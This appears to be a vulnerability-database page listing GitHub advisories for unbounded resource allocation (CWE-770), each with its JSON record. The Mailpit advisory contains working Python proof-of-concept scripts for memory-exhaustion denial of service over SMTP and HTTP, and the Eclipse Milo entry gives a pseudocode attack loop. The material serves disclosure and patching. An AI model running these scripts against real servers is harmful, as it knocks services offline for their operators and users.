CWE-770
AllowedAllocation of Resources Without Limits or Throttling
Abstraction: Base · Status: Incomplete
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
3032 vulnerabilities reference this CWE, most recent first.
GHSA-FPF6-89PC-P29R
Vulnerability from github – Published: 2024-07-09 21:30 – Updated: 2024-11-06 00:31In multiple functions of ShortcutService.java, there is a possible persistent DOS due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.
{
"affected": [],
"aliases": [
"CVE-2024-31314"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-09T21:15:13Z",
"severity": "MODERATE"
},
"details": "In multiple functions of ShortcutService.java, there is a possible persistent DOS due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.",
"id": "GHSA-fpf6-89pc-p29r",
"modified": "2024-11-06T00:31:54Z",
"published": "2024-07-09T21:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31314"
},
{
"type": "WEB",
"url": "https://android.googlesource.com/platform/frameworks/base/+/c0d5f75e01308fb7d6d86639a0a6e2ff81b30be6"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2024-06-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FPFJ-WP86-QMRQ
Vulnerability from github – Published: 2022-04-28 00:00 – Updated: 2022-05-07 00:01A vulnerability in SonicOS CFS (Content filtering service) returns a large 403 forbidden HTTP response message to the source address when users try to access prohibited resource this allows an attacker to cause HTTP Denial of Service (DoS) attack
{
"affected": [],
"aliases": [
"CVE-2022-22278"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-27T17:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in SonicOS CFS (Content filtering service) returns a large 403 forbidden HTTP response message to the source address when users try to access prohibited resource this allows an attacker to cause HTTP Denial of Service (DoS) attack",
"id": "GHSA-fpfj-wp86-qmrq",
"modified": "2022-05-07T00:01:00Z",
"published": "2022-04-28T00:00:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22278"
},
{
"type": "WEB",
"url": "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0004"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FPG4-JHQR-589C
Vulnerability from github – Published: 2026-02-28 02:04 – Updated: 2026-02-28 02:04Some relatively small inputs can cause very large files arrays in form handlers. If the SvelteKit application code doesn't check files.length or individual files' sizes and performs expensive processing with them, it can result in Denial of Service.
Only users with experimental.remoteFunctions: true who are using the form function and are processing the files array without validation are vulnerable.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.53.2"
},
"package": {
"ecosystem": "npm",
"name": "@sveltejs/kit"
},
"ranges": [
{
"events": [
{
"introduced": "2.49.0"
},
{
"fixed": "2.53.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-28T02:04:39Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "Some relatively small inputs can cause very large files arrays in `form` handlers. If the SvelteKit application code doesn\u0027t check `files.length` or individual files\u0027 sizes and performs expensive processing with them, it can result in Denial of Service.\n\nOnly users with `experimental.remoteFunctions: true` who are using the `form` function and are processing the `files` array without validation are vulnerable.",
"id": "GHSA-fpg4-jhqr-589c",
"modified": "2026-02-28T02:04:39Z",
"published": "2026-02-28T02:04:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sveltejs/kit/security/advisories/GHSA-fpg4-jhqr-589c"
},
{
"type": "WEB",
"url": "https://github.com/sveltejs/kit/commit/faba869db3644077169bf5d7c6e41fd5f3d6c65e"
},
{
"type": "PACKAGE",
"url": "https://github.com/sveltejs/kit"
},
{
"type": "WEB",
"url": "https://github.com/sveltejs/kit/releases/tag/@sveltejs/kit@2.53.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "SvelteKit has deserialization expansion in unvalidated `form` remote function leading to Denial of Service (experimental only)"
}
GHSA-FPH9-F5R6-VHQF
Vulnerability from github – Published: 2022-09-15 03:35 – Updated: 2022-09-15 03:35Impact
Denial of Service
Details
OPC UA specification describes a concept named Subscriptions. Subscriptions monitor a set of Monitored Items for Notifications and return them to the Client in response to Publish requests. The server notifies the client about changes only in case the value is changed. Each monitored item is configured on a subscription, each subscription is linked to a single OPC UA session. Most OPC UA implementations set many controls and limitations for excessive memory consumption. For example:
- What is the maximum allowed number of concurrent sessions
- For each active sessions - what is the maximum allowed number of concurrent subscription per a single session
- For each active subscription - what is the maximum allowed number of concurrent monitored items per a single subscription
Clarity Research discovered a unique way to bypass those restrictions and fill up the OPC UA server process memory.
The close session request closes a connected session. A deleteSubscription flag is also sent in that message and determines whether the server should save the subscriptions for a future session reconnection or discard them upon session termination. If the deleteSubscription flag is False the server will store the subscriptions thus filling up the memory in an unlimited manner.
Sending multiple subscribe requests with multiple monitored items from multiple sessions will quickly fill up the process memory until the server crashes.
To trigger this bug all is needed is to create many sessions with subscriptions and monitored items without ever deleting the monitored items. Eventually these allocations will consume all the available process memory which will lead to a crash and denial of service condition.
Clarity PoC does: ``` while True: Open a valid OPC UA session Create multiple subscriptions Add monitored items to each subscription Close the session with the DeleteSubscriptions flag = False ````
Acknowledgement
We would like to thanks Vera Mens, Uri Katz, @sharonbrizinov of Team82 (Claroty Research) for this report.
For more information
If you have any questions or comments about this advisory: * Open an issue in Eclipse Milo repository * Email us at milo-dev
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.eclipse.milo:sdk-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-25897"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2022-09-15T03:35:46Z",
"nvd_published_at": "2022-09-08T05:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\n\nDenial of Service\n\n### Details\n\nOPC UA specification describes a concept named _Subscriptions_. _Subscriptions_ monitor a set of _Monitored Items_ for _Notifications_ and return them to the _Client_ in response to _Publish_ requests. The server notifies the client about changes only in case the value is changed. Each monitored item is configured on a subscription, each subscription is linked to a single OPC UA session. Most OPC UA implementations set many controls and limitations for excessive memory consumption. For example:\n\n* What is the maximum allowed number of concurrent sessions\n* For each active sessions - what is the maximum allowed number of concurrent subscription per a single session\n* For each active subscription - what is the maximum allowed number of concurrent monitored items per a single subscription\n\nClarity Research discovered a unique way to bypass those restrictions and fill up the OPC UA server process memory.\n\nThe close session request closes a connected session. A `deleteSubscription` flag is also sent in that message and determines whether the server should save the subscriptions for a future session reconnection or discard them upon session termination. If the `deleteSubscription` flag is `False` the server will store the subscriptions thus filling up the memory in an unlimited manner.\n\nSending multiple subscribe requests with multiple monitored items from multiple sessions will quickly fill up the process memory until the server crashes.\n\nTo trigger this bug all is needed is to create many sessions with subscriptions and monitored items without ever deleting the monitored items. Eventually these allocations will consume all the available process memory which will lead to a crash and denial of service condition.\n\nClarity PoC does:\n```\nwhile True:\n Open a valid OPC UA session\n Create multiple subscriptions\n Add monitored items to each subscription\n Close the session with the DeleteSubscriptions flag = False\n````\n\n### Acknowledgement\n\nWe would like to thanks Vera Mens, Uri Katz, @sharonbrizinov of Team82 ([Claroty Research](https://claroty.com/)) for this report.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Eclipse Milo repository](https://github.com/eclipse/milo/issues)\n* Email us at [milo-dev](https://accounts.eclipse.org/mailing-list/milo-dev)\n",
"id": "GHSA-fph9-f5r6-vhqf",
"modified": "2022-09-15T03:35:46Z",
"published": "2022-09-15T03:35:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/eclipse/milo/security/advisories/GHSA-fph9-f5r6-vhqf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25897"
},
{
"type": "WEB",
"url": "https://github.com/eclipse/milo/issues/1030"
},
{
"type": "WEB",
"url": "https://github.com/eclipse/milo/pull/1031"
},
{
"type": "WEB",
"url": "https://github.com/eclipse/milo/commit/4534381760d7d9f0bf00cbf6a8449bb0d13c6ce5"
},
{
"type": "PACKAGE",
"url": "https://github.com/eclipse/milo"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JAVA-ORGECLIPSEMILO-2990191"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Eclipse Milo vulnerable to Resource Exhaustion (Denial of Service)"
}
GHSA-FPWF-JJ2Q-FXXH
Vulnerability from github – Published: 2025-01-18 18:30 – Updated: 2025-01-18 18:30IBM Safer Payments 6.4.0.00 through 6.4.2.07, 6.5.0.00 through 6.5.0.05, and 6.6.0.00 through 6.6.0.03 could allow a remote attacker to cause a denial of service due to improper allocation of resources.
{
"affected": [],
"aliases": [
"CVE-2024-45662"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-18T17:15:07Z",
"severity": "HIGH"
},
"details": "IBM Safer Payments\u00a06.4.0.00 through 6.4.2.07, 6.5.0.00 through 6.5.0.05, and 6.6.0.00 through 6.6.0.03 could allow a remote attacker to cause a denial of service due to improper allocation of resources.",
"id": "GHSA-fpwf-jj2q-fxxh",
"modified": "2025-01-18T18:30:47Z",
"published": "2025-01-18T18:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45662"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7173765"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FPXJ-M5Q8-FPHW
Vulnerability from github – Published: 2026-05-19 15:54 – Updated: 2026-05-19 15:54Summary
The Mailpit SMTP server has a Server.MaxSize int field that controls the maximum allowed DATA payload size, but the field is never assigned anywhere outside test code, leaving it at Go's zero value (0 ⇒ "no limit"). The same applies to the HTTP /api/v1/send endpoint, whose request body is decoded with json.NewDecoder(r.Body) and no http.MaxBytesReader. Because Mailpit's default listeners bind [::]:1025 (SMTP) and [::]:8025 (HTTP), with no authentication required on either, a single network-reachable attacker can push an arbitrarily large message into Mailpit and watch RAM consumption spike with a ~7-10× amplification factor (raw frame → enmime envelope tree → search-text index → zstd-encoded write to SQLite). Repeating the attack — or running it concurrently from multiple connections — drives the process to OOM-kill.
Details
Pre-auth, remote DoS on every Mailpit deployment running the default configuration. Memory is the primary axis; disk is a secondary one, because each oversized message is also persisted to the SQLite store (config.MaxMessages caps the count at 500 but never the bytes — so 500 attacker-sized messages × 1 GiB each = ~500 GiB on the host disk before the LRU rotates).
Affected code internal/smtpd/smtpd.go:107 — the field exists:
type Server struct {
...
MaxSize int // Maximum message size allowed, in bytes
...
}
internal/smtpd/smtpd.go:863-877 — the enforcement is gated on > 0:
for {
...
line, err := s.br.ReadBytes('\n')
if err != nil {
return nil, err
}
if bytes.Equal(line, []byte(".\r\n")) {
break
}
if line[0] == '.' {
line = line[1:]
}
if s.srv.MaxSize > 0 { // ← only when set
if len(data)+len(line) > s.srv.MaxSize {
_, _ = s.br.Discard(s.br.Buffered())
return nil, maxSizeExceeded(s.srv.MaxSize)
}
}
data = append(data, line...) // ← otherwise grows unbounded
}
internal/smtpd/main.go:223-248 — the field is never populated; grep -rn "MaxSize" cmd/ config/ returns zero hits. There is no --smtp-max-message-size CLI flag, no MP_SMTP_MAX_MESSAGE_SIZE env var.
server/apiv1/send.go:45-52 — HTTP path has the same defect:
decoder := json.NewDecoder(r.Body)
data := sendMessageParams{}
if err := decoder.Decode(&data.Body); err != nil {
httpJSONError(w, err.Error())
return
}
No r.Body = http.MaxBytesReader(w, r.Body, N) wrapper; server.ReadTimeout of 30 s is transmission-time, not body-size-budget.
PoC
Baseline RSS on a freshly-started binary: 25 MiB. After one 100 MiB SMTP DATA block: ~1 037 MiB (≈10× amplification, single connection, no auth):
#!/usr/bin/env python3
# poc-smtp-dos.py
import socket, sys
host, port = sys.argv[1], int(sys.argv[2])
mb = int(sys.argv[3]) # message size, MiB
s = socket.create_connection((host, port), timeout=120)
def r(): return s.recv(4096).decode("latin-1", "replace").strip()
print(r())
for cmd in [b"HELO x\r\n",
b"MAIL FROM:<a@b.com>\r\n",
b"RCPT TO:<c@d.com>\r\n",
b"DATA\r\n"]:
s.sendall(cmd); print(r())
s.sendall(b"Subject: oversize\r\n\r\n")
chunk = b"X" * (1024 * 1024)
for _ in range(mb): s.sendall(chunk)
s.sendall(b"\r\n.\r\n")
print(r()); s.close()
$ python3 poc-smtp-dos.py 127.0.0.1 1025 100
220 hostname Mailpit ESMTP Service ready
250 hostname greets x
250 2.1.0 Ok
250 2.1.5 Ok
354 Start mail input; end with <CR><LF>.<CR><LF>
250 2.0.0 Ok: queued as 58rI69JTJYjVFwogEbw9Jj
$ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit)
1062848 # ≈ 1 037 MiB, up from 25 MiB baseline
Equivalent over HTTP:
# poc-http-dos.py
import socket, sys
host, port, mb = sys.argv[1], int(sys.argv[2]), int(sys.argv[3])
prefix = b'{"From":{"Email":"a@b.com"},"To":[{"Email":"c@d.com"}],"Subject":"big","Text":"'
suffix = b'"}'
N = mb * 1024 * 1024
clen = len(prefix) + N + len(suffix)
s = socket.create_connection((host, port), timeout=120)
s.sendall(
b"POST /api/v1/send HTTP/1.1\r\n"
b"Host: x\r\n"
b"Content-Type: application/json\r\n"
b"Content-Length: " + str(clen).encode() + b"\r\n"
b"Connection: close\r\n\r\n")
s.sendall(prefix)
chunk = b"X" * (1024 * 1024)
for _ in range(mb): s.sendall(chunk)
s.sendall(suffix)
print(s.recv(500).decode("latin-1", "replace"))
$ python3 poc-http-dos.py 127.0.0.1 8025 200
HTTP/1.1 200 OK
...
$ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit)
2147000 # comfortably above 2 GiB on the same process
Five concurrent SMTP connections × 50 MiB each took the same machine from 25 MiB → 1 970 MiB during the attack window. With sufficient bandwidth the only ceiling is host RAM.
Impact
Unauthenticated remote attackers can send arbitrarily large emails via SMTP or HTTP, causing unbounded memory and disk growth, leading to out-of-memory (OOM) kills and full Mailpit process crash (DoS)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/axllent/mailpit"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.30.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45713"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-19T15:54:12Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nThe Mailpit SMTP server has a Server.MaxSize int field that controls the maximum allowed DATA payload size, but the field is never assigned anywhere outside test code, leaving it at Go\u0027s zero value (0 \u21d2 \"no limit\"). The same applies to the HTTP /api/v1/send endpoint, whose request body is decoded with json.NewDecoder(r.Body) and no http.MaxBytesReader. Because Mailpit\u0027s default listeners bind [::]:1025 (SMTP) and [::]:8025 (HTTP), with no authentication required on either, a single network-reachable attacker can push an arbitrarily large message into Mailpit and watch RAM consumption spike with a ~7-10\u00d7 amplification factor (raw frame \u2192 enmime envelope tree \u2192 search-text index \u2192 zstd-encoded write to SQLite). Repeating the attack \u2014 or running it concurrently from multiple connections \u2014 drives the process to OOM-kill.\n\n### Details\nPre-auth, remote DoS on every Mailpit deployment running the default configuration. Memory is the primary axis; disk is a secondary one, because each oversized message is also persisted to the SQLite store (config.MaxMessages caps the count at 500 but never the bytes \u2014 so 500 attacker-sized messages \u00d7 1 GiB each = ~500 GiB on the host disk before the LRU rotates).\n\n\nAffected code\n[internal/smtpd/smtpd.go:107](https://github.com/axllent/mailpit/blob/develop/internal/smtpd/smtpd.go#L107) \u2014 the field exists:\n\n```\ntype Server struct {\n ...\n MaxSize int // Maximum message size allowed, in bytes\n ...\n}\n```\n[internal/smtpd/smtpd.go:863-877](https://github.com/axllent/mailpit/blob/develop/internal/smtpd/smtpd.go#L863-L877) \u2014 the enforcement is gated on \u003e 0:\n\n```\nfor {\n ...\n line, err := s.br.ReadBytes(\u0027\\n\u0027)\n if err != nil {\n return nil, err\n }\n if bytes.Equal(line, []byte(\".\\r\\n\")) {\n break\n }\n if line[0] == \u0027.\u0027 {\n line = line[1:]\n }\n\n if s.srv.MaxSize \u003e 0 { // \u2190 only when set\n if len(data)+len(line) \u003e s.srv.MaxSize {\n _, _ = s.br.Discard(s.br.Buffered())\n return nil, maxSizeExceeded(s.srv.MaxSize)\n }\n }\n data = append(data, line...) // \u2190 otherwise grows unbounded\n}\n```\n[internal/smtpd/main.go:223-248](https://github.com/axllent/mailpit/blob/develop/internal/smtpd/main.go#L223-L248) \u2014 the field is never populated; grep -rn \"MaxSize\" cmd/ config/ returns zero hits. There is no --smtp-max-message-size CLI flag, no MP_SMTP_MAX_MESSAGE_SIZE env var.\n\n[server/apiv1/send.go:45-52](https://github.com/axllent/mailpit/blob/develop/server/apiv1/send.go#L45-L52) \u2014 HTTP path has the same defect:\n\n```\ndecoder := json.NewDecoder(r.Body)\ndata := sendMessageParams{}\nif err := decoder.Decode(\u0026data.Body); err != nil {\n httpJSONError(w, err.Error())\n return\n}\n```\n\nNo r.Body = http.MaxBytesReader(w, r.Body, N) wrapper; server.ReadTimeout of 30 s is transmission-time, not body-size-budget.\n\n### PoC\nBaseline RSS on a freshly-started binary: 25 MiB. After one 100 MiB SMTP DATA block: ~1 037 MiB (\u224810\u00d7 amplification, single connection, no auth):\n\n```\n#!/usr/bin/env python3\n# poc-smtp-dos.py\nimport socket, sys\nhost, port = sys.argv[1], int(sys.argv[2])\nmb = int(sys.argv[3]) # message size, MiB\n\ns = socket.create_connection((host, port), timeout=120)\ndef r(): return s.recv(4096).decode(\"latin-1\", \"replace\").strip()\nprint(r())\nfor cmd in [b\"HELO x\\r\\n\",\n b\"MAIL FROM:\u003ca@b.com\u003e\\r\\n\",\n b\"RCPT TO:\u003cc@d.com\u003e\\r\\n\",\n b\"DATA\\r\\n\"]:\n s.sendall(cmd); print(r())\ns.sendall(b\"Subject: oversize\\r\\n\\r\\n\")\nchunk = b\"X\" * (1024 * 1024)\nfor _ in range(mb): s.sendall(chunk)\ns.sendall(b\"\\r\\n.\\r\\n\")\nprint(r()); s.close()\n```\n\n```\n$ python3 poc-smtp-dos.py 127.0.0.1 1025 100\n220 hostname Mailpit ESMTP Service ready\n250 hostname greets x\n250 2.1.0 Ok\n250 2.1.5 Ok\n354 Start mail input; end with \u003cCR\u003e\u003cLF\u003e.\u003cCR\u003e\u003cLF\u003e\n250 2.0.0 Ok: queued as 58rI69JTJYjVFwogEbw9Jj\n\n$ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit)\n1062848 # \u2248 1 037 MiB, up from 25 MiB baseline\n```\n\nEquivalent over HTTP:\n\n```\n# poc-http-dos.py\nimport socket, sys\nhost, port, mb = sys.argv[1], int(sys.argv[2]), int(sys.argv[3])\nprefix = b\u0027{\"From\":{\"Email\":\"a@b.com\"},\"To\":[{\"Email\":\"c@d.com\"}],\"Subject\":\"big\",\"Text\":\"\u0027\nsuffix = b\u0027\"}\u0027\nN = mb * 1024 * 1024\nclen = len(prefix) + N + len(suffix)\n\ns = socket.create_connection((host, port), timeout=120)\ns.sendall(\n b\"POST /api/v1/send HTTP/1.1\\r\\n\"\n b\"Host: x\\r\\n\"\n b\"Content-Type: application/json\\r\\n\"\n b\"Content-Length: \" + str(clen).encode() + b\"\\r\\n\"\n b\"Connection: close\\r\\n\\r\\n\")\ns.sendall(prefix)\nchunk = b\"X\" * (1024 * 1024)\nfor _ in range(mb): s.sendall(chunk)\ns.sendall(suffix)\nprint(s.recv(500).decode(\"latin-1\", \"replace\"))\n```\n\n```\n$ python3 poc-http-dos.py 127.0.0.1 8025 200\nHTTP/1.1 200 OK\n...\n$ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit)\n2147000 # comfortably above 2 GiB on the same process\n\n```\n\nFive concurrent SMTP connections \u00d7 50 MiB each took the same machine from 25 MiB \u2192 1 970 MiB during the attack window. With sufficient bandwidth the only ceiling is host RAM.\n\n### Impact\nUnauthenticated remote attackers can send arbitrarily large emails via SMTP or HTTP, causing unbounded memory and disk growth, leading to out-of-memory (OOM) kills and full Mailpit process crash (DoS)",
"id": "GHSA-fpxj-m5q8-fphw",
"modified": "2026-05-19T15:54:12Z",
"published": "2026-05-19T15:54:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axllent/mailpit/security/advisories/GHSA-fpxj-m5q8-fphw"
},
{
"type": "PACKAGE",
"url": "https://github.com/axllent/mailpit"
},
{
"type": "WEB",
"url": "https://github.com/axllent/mailpit/releases/tag/v1.30.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Mailpit: Unauthenticated remote memory-exhaustion DoS via unlimited SMTP DATA and /api/v1/send body sizes"
}
GHSA-FQ34-XW6C-FPHF
Vulnerability from github – Published: 2025-09-08 20:45 – Updated: 2025-09-13 04:41Summary
The Fides Webserver API's built-in IP-based rate limiting is ineffective in environments with CDNs, proxies or load balancers. The system incorrectly applies rate limits based on directly connected infrastructure IPs rather than client IPs, and stores counters in-memory rather than in a shared store. This allows attackers to bypass intended rate limits and potentially cause denial of service.
This vulnerability only affects deployments relying on Fides's built-in rate limiting for protection. Deployments using external rate limiting solutions (WAFs, API gateways, etc.) are not affected.
Details
The vulnerability has two components:
- Rate limiting uses the immediate connection source IP instead of the actual client IP
- Rate limit counters are maintained in-memory per container rather than in a shared store
In production environments, these issues allow clients to exceed intended rate limits and enable attackers to trigger rate limits on infrastructure IPs, causing legitimate clients to receive 429 responses.
Impact
This vulnerability affects availability, allowing attackers to:
- Bypass rate limits, potentially leading to resource exhaustion
- Cause a denial of service for legitimate clients by deliberately triggering rate limits on infrastructure IPs
Patches
The vulnerability has been patched in Fides version 2.69.1. Users are advised to upgrade to this version or later to secure their systems against this threat.
Workarounds
There are no application-level workarounds. However, rate limiting may instead be implemented externally at the infrastructure level using a WAF, API Gateway, or similar technology.
Risk Level
This vulnerability has been assigned a severity of MEDIUM.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "ethyca-fides"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.69.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-57816"
],
"database_specific": {
"cwe_ids": [
"CWE-307",
"CWE-770",
"CWE-799"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-08T20:45:51Z",
"nvd_published_at": "2025-09-08T22:15:33Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe Fides Webserver API\u0027s built-in IP-based rate limiting is ineffective in environments with CDNs, proxies or load balancers. The system incorrectly applies rate limits based on directly connected infrastructure IPs rather than client IPs, and stores counters in-memory rather than in a shared store. This allows attackers to bypass intended rate limits and potentially cause denial of service.\n\nThis vulnerability only affects deployments relying on Fides\u0027s built-in rate limiting for protection. Deployments using external rate limiting solutions (WAFs, API gateways, etc.) are not affected.\n\n### Details\n\nThe vulnerability has two components:\n\n1. Rate limiting uses the immediate connection source IP instead of the actual client IP\n2. Rate limit counters are maintained in-memory per container rather than in a shared store\n\nIn production environments, these issues allow clients to exceed intended rate limits and enable attackers to trigger rate limits on infrastructure IPs, causing legitimate clients to receive 429 responses.\n\n### Impact\n\nThis vulnerability affects availability, allowing attackers to:\n\n- Bypass rate limits, potentially leading to resource exhaustion\n- Cause a denial of service for legitimate clients by deliberately triggering rate limits on infrastructure IPs\n\n### Patches\n\nThe vulnerability has been patched in Fides version `2.69.1`. Users are advised to upgrade to this version or later to secure their systems against this threat.\n\n### Workarounds\n\nThere are no application-level workarounds. However, rate limiting may instead be implemented externally at the infrastructure level using a WAF, API Gateway, or similar technology.\n\n### Risk Level\n\nThis vulnerability has been assigned a severity of MEDIUM.",
"id": "GHSA-fq34-xw6c-fphf",
"modified": "2025-09-13T04:41:24Z",
"published": "2025-09-08T20:45:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ethyca/fides/security/advisories/GHSA-fq34-xw6c-fphf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57816"
},
{
"type": "WEB",
"url": "https://github.com/ethyca/fides/commit/59903c195e2f9f8915a1db94950aefd557033a5c"
},
{
"type": "PACKAGE",
"url": "https://github.com/ethyca/fides"
},
{
"type": "WEB",
"url": "https://github.com/ethyca/fides/releases/tag/2.69.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Fides Webserver API Rate Limiting Vulnerability in Proxied Environments"
}
GHSA-FQFG-C577-2VC3
Vulnerability from github – Published: 2022-09-30 00:00 – Updated: 2024-10-25 21:46rdiffweb prior to 2.5.0a3 does not validate email length, allowing users to insert an email longer than 255 characters. If a user signs up with an email with a length of 1 million or more characters and logs in, withdraws, or changes their email, the server may cause denial of service due to overload.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "rdiffweb"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.5.0a3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-3364"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2022-09-30T23:04:02Z",
"nvd_published_at": "2022-09-29T21:15:00Z",
"severity": "MODERATE"
},
"details": "rdiffweb prior to 2.5.0a3 does not validate email length, allowing users to insert an email longer than 255 characters. If a user signs up with an email with a length of 1 million or more characters and logs in, withdraws, or changes their email, the server may cause denial of service due to overload. ",
"id": "GHSA-fqfg-c577-2vc3",
"modified": "2024-10-25T21:46:23Z",
"published": "2022-09-30T00:00:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3364"
},
{
"type": "WEB",
"url": "https://github.com/ikus060/rdiffweb/commit/b62c479ff6979563c7c23e7182942bc4f460a2c7"
},
{
"type": "PACKAGE",
"url": "https://github.com/ikus060/rdiffweb"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/rdiffweb/PYSEC-2022-298.yaml"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/e70ad507-1424-463b-bdf1-c4a6fbe6e720"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": " rdiffweb\u0027s unlimited length Fullname field can lead to DoS"
}
GHSA-FQHQ-3XGH-RX7H
Vulnerability from github – Published: 2026-01-21 18:30 – Updated: 2026-01-21 18:30GeoGebra Classic 5.0.631.0-d contains a denial of service vulnerability in the input field that allows attackers to crash the application by sending oversized buffer content. Attackers can generate a large buffer of 800,000 repeated characters and paste it into the 'Entrada:' input field to trigger an application crash.
{
"affected": [],
"aliases": [
"CVE-2021-47876"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-21T18:16:21Z",
"severity": "MODERATE"
},
"details": "GeoGebra Classic 5.0.631.0-d contains a denial of service vulnerability in the input field that allows attackers to crash the application by sending oversized buffer content. Attackers can generate a large buffer of 800,000 repeated characters and paste it into the \u0027Entrada:\u0027 input field to trigger an application crash.",
"id": "GHSA-fqhq-3xgh-rx7h",
"modified": "2026-01-21T18:30:31Z",
"published": "2026-01-21T18:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47876"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/49654"
},
{
"type": "WEB",
"url": "https://www.geogebra.org"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/geogebra-classic-d-denial-of-service"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
